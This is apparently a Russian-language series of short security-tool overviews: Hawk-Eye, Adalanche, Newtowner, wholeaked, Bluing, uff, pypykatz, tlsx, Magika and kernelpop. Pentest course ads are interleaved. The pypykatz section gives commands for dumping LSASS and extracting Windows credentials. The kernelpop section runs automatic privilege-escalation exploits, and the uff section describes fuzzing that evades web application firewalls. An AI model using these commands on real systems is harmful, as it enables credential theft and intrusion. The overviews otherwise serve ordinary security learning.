Hawk-Eye: Универсальный инструмент для обнаружения PII и секретов

Hawk-Eye — это мощный инструмент командной строки, созданный для защиты данных от утечек и киберугроз. Используя передовые технологии текстового анализа и оптического распознавания символов (OCR), Hawk-Eye сканирует различные источники данных, такие как хранилища, базы данных и облачные сервисы, для обнаружения персонально идентифицируемой информации (PII) и скрытых секретов.

⚡️ Основные возможности Hawk-Eye
Широкий охват данных:
• Поддержка множества источников, включая:
• Облачные хранилища: S3, Google Cloud Storage (GCS).
• Базы данных: MySQL, PostgreSQL, MongoDB, CouchDB, Redis, Firebase.
• Файловые системы: локальные и сетевые диски.
• Облачные сервисы: Google Drive, Slack.
• Сканирование файлов и структур данных в реальном времени.
Обнаружение PII и секретов:
• Поиск конфиденциальной информации, такой как номера кредитных карт, пароли, ключи API, токены доступа и другая чувствительная информация.
• Идентификация утечек персональных данных (например, имён, адресов, телефонных номеров).
Анализ различных форматов:
• Распознавание текста в документах (docx, xlsx, pptx, pdf).
• Анализ изображений (jpg, png, gif) с помощью OCR.
• Поддержка сжатых архивов (zip, tar, rar) и даже видеофайлов.
Кроссплатформенность:
• Работает на Linux, macOS и Windows.
• Легкость интеграции с существующими процессами безопасности.
Производительность и точность:
• Быстрое сканирование больших объемов данных.
• Точные результаты благодаря алгоритмам анализа текста и OCR.

⬇️ Установка и использование
Для установки выполните следующие шаги:
1️⃣ Клонируйте репозиторий:

git clone https://github.com/rohitcoder/hawk-eye.git
cd hawk-eye/hawk_scanner

2️⃣ Установите зависимости:

pip install -r requirements.txt

3️⃣ Запустите инструмент:

python3 main.py 

⏺️ Анализ определённого ресурса, например, S3:

python3 main.py s3 --connection <s3_connection_details>

⏺️ Анализ файловой системы:

python main.py fs --connection /path/to/directory

Часто используемые флаги:
--connection: Определяет параметры подключения для источника данных.
--json: Выводит результаты в формате JSON.
--stdout: Выводит результаты прямо в терминал.
--debug: Включает режим отладки для более подробного вывода.
--quiet: Подавляет ненужные сообщения.

Adalanche: Утилита для анализа и визуализации Active Directory

Adalanche — это мощный инструмент для анализа Active Directory, обеспечивающий удобную визуализацию зависимостей и поиск уязвимостей. С его помощью специалисты по безопасности могут быстро и эффективно изучать сложные структуры AD и выявлять потенциальные угрозы.

⚡️ Быстрый старт с Adalanche
1️⃣ Установка утилиты
Скачайте файл из официального Github разработчика

2️⃣ Запуск утилиты
После установки или скачивания бинарного файла выполните команду для добавления прав на исполнение Adalanche:

chmod adalanche-linux-arm64-v2025.2.6

3️⃣ Основные команды
⏺️ analyze: Запускает интерактивный инструмент в вашем браузере.

./adalanche-linux-arm64-v2025.2.6 analyze

⏺️ collect: Сбор данных для анализа Active Directory. Полезно для создания дампов.

./adalanche-linux-arm64-v2025.2.6 collect

⏺️ version: Отображает текущую версию утилиты.

./adalanche-linux-arm64-v2025.2.6 version

⏺️ help: Показывает подробную информацию о командах.

./adalanche-linux-arm64-v2025.2.6 help

4️⃣ Пример запуска анализа
Чтобы начать интерактивное изучение данных, используйте команду analyze:

./adalanche-linux-arm64-v2025.2.6 analyze

После выполнения команды Adalanche откроет веб-интерфейс в вашем браузере. Там вы сможете:
➡️ Просматривать связи между пользователями, группами и компьютерами.
➡️ Анализировать пути возможной эскалации привилегий.
➡️ Находить уязвимости в конфигурациях.

Хотите в кибербезопасность, но не знаете, с чего начать? Или уже в ИБ и хотите усилить скиллы? У нас есть всё.

3 топовых направления на август:

🟧Active Directory: Пентест инфраструктуры
Научитесь атаковать и защищать ключевой элемент большинства корпоративных сетей.
Старт — уже 18 августа!

🟧Профессия Пентестер
Полный путь в этичный хакинг: теория + практика + портфолио.
⚠️ Успейте с выгодой до 17% до конца августа!

🟧Пентест веб-приложений (WAPT)
Научитесь взламывать сайты и находить уязвимости как в Bug Bounty.
⚠️ Сэкономьте до 17%, оплатив курс WAPT в августе!

Курсы ведут действующие пентестеры — победители the Standoff. До встречи в наших лабораториях! 😎

🚀 Написать в Telegram

Newtowner

Инструмент предназначенный для тестирования межсетевых экранов и сетевых границ путём маскировки трафика, чтобы он выглядел так, будто распространяется из разных ЦОД по всему миру.

В современных облачных средах часто используются ненадёжные границы доверия (разрешение всего трафика из одного и того же датацентра), которые легко обойти. Эта проблема становится всё более актуальной по мере роста популярности облачных платформ. С помощью Newtowner можно проверить распространённые ошибки в настройке границ доверия.

✔️ Проверки
В настоящее время этот инструмент проверяет различия в доступе к URL-адресам (по протоколам HTTP/HTTPS). При этом он не выполняет проверки на уровне протокола (сканирование портов) для выявления различий в открытых портах у разных провайдеров. Поддерживает следующие проверки: GitHub Actions, GitLab CI, Bitbucket Pipelines, AWS API Gateway, SSH/AWS EC2.

💻 Установка
Клонируем репозиторий и комплируем файл main.go в исполняемый.

git clone https://github.com/assetnote/newtowner.git
cd newtowner/cmd/newtowner
go build main.go

Далее необходимо изменить файл configuration.json в корневом каталоге. Полный пример со всеми доступными параметрами конфигурации:

Настройка параметров необходима только для тех провайдеров, которых вы будете использовать. В приведенном выше примере показаны все доступные параметры.

⭐️ Примеры запуска с разными провайдерами

./newtowner --provider gitlab --urls urls.txt
./newtowner --provider bitbucket --urls urls.txt

По умолчанию AWS API-Gateway использует ближайший к целевым URL-адресам центр обработки данных, но это можно изменить с помощью флага --region.

👀 wholeaked

инструмент, написанный на языке Go и предназначенный для обмена файлами, который позволяет найти ответственного пользователя за утечку.

Для установки можно скачать готовые двоичные файлы со страницы релизов, распаковать и запустить их

unzip wholeaked_0.1.0_macOS_amd64.zip
./wholeaked --help

Или установить утилиту через Go.

go install github.com/utkusen/wholeaked@latest

💡Принцип работы
wholeaked получает файл, которым нужно поделиться, и список получателей. Далее создается уникальная подпись для каждого получателя и добавляется в файл, при этом не влияя на его содержимое. После этого утилита может автоматически отправлять файлы соответствующим получателям с помощью интеграций с Sendgrid, AWS SES или SMTP. Вместо отправки по электронной почте можно поделиться файлами вручную.

Инструмент работает с файлами любого типа. Однако у него есть дополнительные функции для распространённых типов файлов, таких как PDF, DOCX, MOV и т. д.

Чтобы узнать, кто был ответственным за утечку документа, необходимо просто прогнать этот файл через wholeaked, и утилита определит ответственного, сравнив подписи в базе данных.

📎Типы файлов и режимы обнаружения
⏺️Хэш файла SHA256. Поддерживаются все типы файлов;
⏺️Добавление подписи непосредственно в бинарный файл. Поддерживаются большинство типов файлов;
⏺️Добавление подписи в раздел метаданных файла. Поддерживаемые типы файлов: PDF, DOCX, XLSX, PPTX, MOV, JPG, PNG, GIF, EPS, AI, PSD;
⏺️В текст вставляется невидимая подпись в виде водяного знака. Поддерживаются только PDF-файлы.

💻 Использование

./wholeaked -n test_project -f secret.pdf -t targets.txt

Файл targets.txt должен содержать имя и адрес электронной почты в следующем формате:

Utku Sen,[email protected]
Bill Gates,[email protected]

После завершения выполнения будут созданы следующие уникальные файлы:

test_project/files/Utku_Sen/secret.pdf
test_project/files/Bill_Gates/secret.pdf

По умолчанию добавляются подписи во все доступные места, но если нет необходимости использовать какой-либо метод, можно указать его с помощью значения false.

./wholeaked -n test_project -f secret.pdf -t targets.txt -binary=false -metadata=false -watermark=false

Для проверки подлинности утекшего файла используется флаг -validate, чтобы узнать, кому он принадлежит.

./wholeaked -n test_project -f secret.pdf -validate

❗️Для корректной валидации нельзя удалять файл project_folder/db.csv.

Bluing

Инструмент для сбора информации о Bluetooth, написанный преимущественно на Python. Помогает специалистам разобраться во внутренней структуре Bluetooth, который является сложным протоколом, или взломать устройства Bluetooth в рамках работ по тестированию на проникновение.

🐍Установка
Bluing частично зависит от BlueZ, официального стека протоколов Bluetooth для Linux. Поэтому он поддерживает работу только в Linux. Для установки зависимостей используется следующая команда:

sudo apt install python3-pip python3-dev libcairo2-dev libgirepository1.0-dev libbluetooth-dev libdbus-1-dev bluez-tools python3-cairo-dev rfkill meson patchelf bluez ubertooth adb python-is-python3

Сам инструмент поддерживает только Python 3.10, поэтому для его установки необходима команда.

sudo pip3.10 install bluing

🚀 Использование
1️⃣ Взаимодействие с BR/EDR.
Поиск других контроллеров BR/EDR поблизости

sudo bluing br --inquiry

Получение информации из базы данных SDP удалённого устройства BR/EDR

sudo bluing br --sdp 34:13:46:23:6A:4D

Перечень LMP-функций удалённого устройства BR/EDR

sudo bluing br --lmp-features 6A:8D:99:33:56:AE

2️⃣ LE-устройства.
Поиск близлежащих LE-устройств

sudo bluing le --scan

Чтение набора функций LL удалённого устройства LE

sudo bluing le --ll-feature-set --addr-type=public 18:D9:8F:77:24:F1

3️⃣ Android Bluetooth stack.
Сбор сгенерированного журнала btsnoop

bluing android -t 3 --collect-btsnoop-log -o btsnoop_hci.log; file btsnoop_hci.log

4️⃣ Осуществление спуфинга с новой информацией о локальном устройстве.
Подмена информации о локальном устройстве с использованием нового класса устройств

sudo bluing spoof --cls-of-dev=0x6c0100

Для многих функций Bluing требуется подключение как минимум к одному адаптеру Bluetooth. Хотя можно использовать адаптер, поставляемый с физическим устройством Linux, или сделать виртуальную машину Linux привязанной к адаптеру хост-устройства, для большей стабильности рекомендуется использовать внешний USB-адаптер Bluetooth, например Parani UD100-G03.

👾 uff

Пользовательский форк инструмента ffuf, который использует модифицированные библиотеки net/http и net/url, чтобы выйти за рамки возможностей обычного ffuf. Полностью совместим с обычным синтаксисом ffuf и фактически является его полной заменой.

Устанавливается с помощью команды go install github.com/sw33tLie/uff/v2@latest.

Функции
⏺️Фаззинг необработанных запросов (как в Burp Suite или Caido).
⏺️Фаззинг абсолютных URI (через флаг -opaque).
⏺️Отсутствие канонизации HTTP-заголовков (по умолчанию заголовок не будет написан с заглавной буквы — это позволяет обойти некоторые брандмауэры веб-приложений).
⏺️Допустимы некорректные HTTP-заголовки (например, заголовки, начинающиеся с пробела или без двоеточия).
⏺️-no-content-length флаг для отправки тела запроса даже без Content-Length.
⏺️Флаг -request фактически отправляет запрос, указанный в файле, без изменения порядка заголовков, без пропуска некорректных. битов и т. д.
⏺️Флаг -request-keepalive для установки Connection: keep-alive в файле -request и ускорения фаззинга.
⏺️Пользовательский агент по умолчанию заменён на последнюю версию Chrome. Пользовательский агент по умолчанию от ffuf заблокирован многими WAF.
⏺️Количество потоков по умолчанию увеличено до 200.

👀 Использование
1️⃣ Фаззинг абсолютных URI.

uff -c -u https://example.com -w - -opaque "https://127.0.0.1/FUZZ"

2️⃣ Фаззинг с применением недопустимого заголовка.

uff -c -u https://example.com/FUZZ -w - -H '   I AM AN INVALID: HEADER'

3️⃣ Фаззинг без применения канонизации заголовка.

uff -c -u https://example.com/FUZZ -w - -H 'lowercase-header: yes'

4️⃣ Злоупотребление HTTP-методом для полного контроля первой строки запроса.

uff -u "https://example.com" -w - -X "GET /FUZZ HTTP/1.0
x: x"

✏️ Таким образом, uff является более гибким и точным инструментом в фаззинге чем ffuf, что позволяет адаптироваться к современным задачам.

🐍 pypykatz — Утилита для извлечения учетных данных из дампов памяти Windows

pypykatz — это мощный инструмент для форензики и ред-тиминга, предназначенный для извлечения учетных данных из дампов процесса LSASS в операционных системах Windows. Он написан на Python и является аналогом популярного mimikatz, но с открытым исходным кодом и кроссплатформенной реализацией

⚡️ Быстрый старт с pypykatz
1️⃣ Установка утилиты

Установите pypykatz через pip:

pip install pypykatz

Или клонируйте репозиторий с GitHub:

git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
pip3 install minidump minikerberos aiowinreg msldap winacl
python setup.py install

2️⃣ Получение дампа LSASS
Перед использованием pypykatz необходимо получить дамп процесса lsass.exe, например, с помощью:

⏺️Procdump (Windows)

procdump -ma lsass.exe lsass.dmp

⏺️Comsvcs.dll (Windows, встроенный метод)

rundll32.exe comsvcs.dll, MiniDump 1234 lsass.dmp full

Где 1234 — это PID процесса lsass.
⚠️ Обратите внимание: извлечение данных из LSASS может быть обнаружено антивирусами и EDR-системами.


3️⃣ Основные команды
После получения дампа вы можете использовать pypykatz следующим образом:

Анализ дампа памяти

pypykatz lsa minidump lsass.dmp

Эта команда выведет:
⏺️ Пользователей, чьи сессии были активны
⏺️ Пароли (если хранятся в открытом виде)
⏺️ NTLM-хэши
⏺️ Kerberos-токены
⏺️ SSP (Security Support Provider) данные

Работа с дампами в режиме JSON

pypykatz lsa minidump lsass.dmp -o json > creds.json

Полезно для автоматизированного анализа и последующей обработки скриптами.


4️⃣ Поддержка живого анализа (Experimental)
Также можно использовать pypykatz для живого анализа системы (только Windows и только с правами администратора):

pypykatz live lsa

⚠️ Используйте с осторожностью — может вызывать детектирование средствами защиты Windows.

🛡 tlsx — быстрый и настраиваемый TLS-перехватчик, написанный на Go и ориентированный на сбор данных на основе протокола TLS.

⏺️Быстрое и полностью настраиваемое TLS-соединение;
⏺️Несколько режимов для TLS-подключения;
⏺️Несколько TLS-зондов для проверки;
⏺️Автоматический откат (fallback) на более старые версии TLS;
⏺️TLS-подключение до завершения рукопожатия;
⏺️Настраиваемые параметры: шифры, SNI, версии TLS;
⏺️Обнаружение неверных конфигураций TLS;
⏺️Поддерживает ввод ASN, CIDR, IP, HOST, и URL;
⏺️STD ввод/вывод и TXT/JSON.

Для успешной установки tlsx требуется Go версии 1.21 и команду go install github.com/projectdiscovery/tlsx/cmd/tlsx@latest. Скачать уже скомпилированный двоичный файл можно со страницы релизов. Также можно использовать инструмент в качестве библиотеки, примеры использования приведены в директории examples.

✔️ Использование
tlsx требует ip-адрес для установки TLS-соединения и поддерживает несколько форматов, перечисленных ниже.

AS1449 # ввод ASN
173.0.84.0/24 # ввод CIDR
93.184.216.34 # ввод IP
example.com # ввод DNS
example.com:443 # ввод DNS с портом
https://example.com:443 # ввод URL с портом

tlsx по умолчанию подключается к порту 443, который можно изменить с помощью флага -port / -p.

tlsx -u hackerone.com -p 443,8443

Если входной хост содержит порт, например 8.8.8.8:443 или hackerone.com:8443, для подключения по TLS будет использоваться порт, указанный для хоста

Поддомены, полученные из TLS-сертификатов, можно передавать другим инструментам для дальнейшей проверки. Ниже приведена команда для передачи поддоменов tls в dnsx для их фильтрации и дальнейшая передача в httpx для получения списка хостов, на которых работают активные веб-сервисы.

echo 173.0.84.0/24 | tlsx -san -cn -silent -resp-only | dnsx -silent | httpx 

В tlsx можно указать список хостов для обнаружения истекших / самоподписанных / несоответствующих / отозванных / ненадежных сертификатов

tlsx -l hosts.txt -expired -self-signed -mismatched -revoked -untrusted

tlsx предоставляет несколько режимов для создания TLS-подключения: default, crypto/tls, zcrypto/tls, openssl. Режим default поддерживается для обеспечения максимального охвата и сканирования хостов, использующих более старую версию TLS, с повторной попыткой подключения в режимах ztls и openssl при любой ошибке подключения.

Пример использования режима ztls для сканирования веб-сайта с помощью старой / устаревшей версии TLS.

echo tls-v1-0.badssl.com | tlsx -port 1010 -sm ztls

Минимальную и максимальную версии TLS можно указать с помощью флагов -min-version и -max-version, поскольку по умолчанию эти значения устанавливаются используемой библиотекой.

😼 Magika

Инструмент для определения типа файлов на основе искусственного интеллекта, использующий последние достижения в области глубокого обучения для обеспечения точного определения. В его основе лежит специальная модель, которая занимает всего несколько мегабайт и позволяет точно идентифицировать файлы за миллисекунды даже при работе на одном процессоре.

Поддерживает установку через PyPI.

pip install magika

Кроме того, можно установить инструмент через Docker-контейнер.

git clone https://github.com/google/magika
cd magika/
docker build -t magika .
docker run -it --rm -v $(pwd):/magika magika -r /magika/tests_data/basic

Основные характеристики
🌟Протестирован на наборе данных, состоящем из ~100 млн образцов и более чем 200 типов контента (включая двоичные и текстовые форматы файлов), в среднем показывает 99 % точность;
🌟Доступен в виде инструмента командной строки, написанного на Rust, с API на Python и дополнительными привязками для Rust, JavaScript/TypeScript;
🌟Поддерживает запуск для одновременной обработки даже тысяч файлов. Также можно использовать флаг -r для рекурсивного сканирования каталога;
🌟Практически постоянное время обработки, независимо от размера файла;
🌟Использование пороговой системы для каждого типа контента, которая определяет, стоит ли «доверять» прогнозу модели или лучше вернуть общую метку, например «Обычный текстовый документ» или «Неизвестные двоичные данные»;
🌟Допуск на ошибки можно регулировать с помощью различных режимов прогнозирования, таких как high-confidence, medium-confidence и best-guess.

Использовать инструмент можно для определения типа конкретного файла, либо для всех файлов в директории или рекурсивного сканирования файлов, затем по желанию можно указать дополнительные опции представленные ниже.

magika [file/*] [options]

🚩Флаги
-r, --recursive - определение типа файлов в каталогах;
--no-dereference - определение символических ссылок, а не их содержимого, при переходе по ним;
--colors/--no-colors - вывод с/без использования цветов независимо от поддержки терминала;
-s, --output-score - вывод оценки точности прогноза в дополнение к определению типа файлов;
-i, --mime-type - вывод MIME-типа вместо описания определения типа файла;
-l, --label - вывод простой метки вместо описания определения типа файла;
--json, --jsonl - вывод в формате JSON, JSONL.

🚩 Новые задания на платформе HackerLab!

🔑 Категория Криптография — Поврежденная расшифровка

🎢 Категория Разное — Goracle

Приятного хакинга!

🧬 kernelpop — Утилита для поиска локальных уязвимостей ядра Linux

kernelpop — это утилита для автоматического поиска и использования известных уязвимостей ядра Linux, которые позволяют повысить привилегии до root.

kernelpop умеет:
➡️Сканировать систему на наличие известных CVE
➡️ Анализировать конфигурацию ядра
➡️ Предлагать или выполнять эксплуатацию

1️⃣ Установка утилиты
Установите kernelpop из репозитория GitHub:

git clone https://github.com/spencerdodd/kernelpop.git
cd kernelpop
python3 -m pip install -r requirements.txt

❗️ Требуется Python 3. Поддержка Linux-систем.

2️⃣ Сканирование уязвимостей
Запуск общего анализа системы:

python3 kernelpop.py --os linux --technique all

Параметры:
• --os linux — указание типа ОС
• --technique all — использовать все методы определения версии

Пример вывода:

[*] Searching exploits for kernel version: 4.15.0-54-generic
[*] Possible exploits:
 - CVE-2017-16995 (AF_PACKET)
 - CVE-2017-7308 (SO_PACKET)

3️⃣ Автоматическая эксплуатация
Если хотите сразу попробовать эксплуатацию подходящих уязвимостей (если доступны):

python3 kernelpop.py --os linux --technique all --exploit

🕷️ Работает не во всех случаях. Успешность зависит от защиты ядра (KASLR, SMEP, модульность и т.д.)


4️⃣ Проверка конкретной уязвимости
Если известно название CVE:

python3 kernelpop.py --os linux --cve CVE-2017-16995

5️⃣ JSON-вывод для автоматизации
Вывод результатов в формате JSON:

python3 kernelpop.py --os linux --technique all --json

🤔 Поддерживаемые методы анализа
• uname — анализ по версии ядра
• distro — определение дистрибутива
• release — данные из /etc/*release*
• version — полная информация из ядра

Можно указать метод вручную, например:

python3 kernelpop.py --os linux --technique uname

👉 Прокачайтесь до уровня Senior: комбо из 3 курсов!

🟧 Профессия Пентестер — фундамент: от уязвимостей до сканеров
🟧 WAPT — взлом веб-приложений на практике (Burp, XSS, SSRF и др.)
🟧 Пентест AD-инфраструктуры — 30+ боевых машин, Kerberoasting, DCSync, Red Team сценарии

🟧 Курс по пентесту Active Directory стартует 18 августа, запись — до 28 августа! Успейте начать обучение за 10 дней.

🟧🟧🟧 Запишитесь на все 3 курса — получите 20% скидку и максимум пользы от обучения! Акция действует на любые три курса из каталога Кодебай😎

🟧 Узнать подробнее
🚀 Написать в Telegram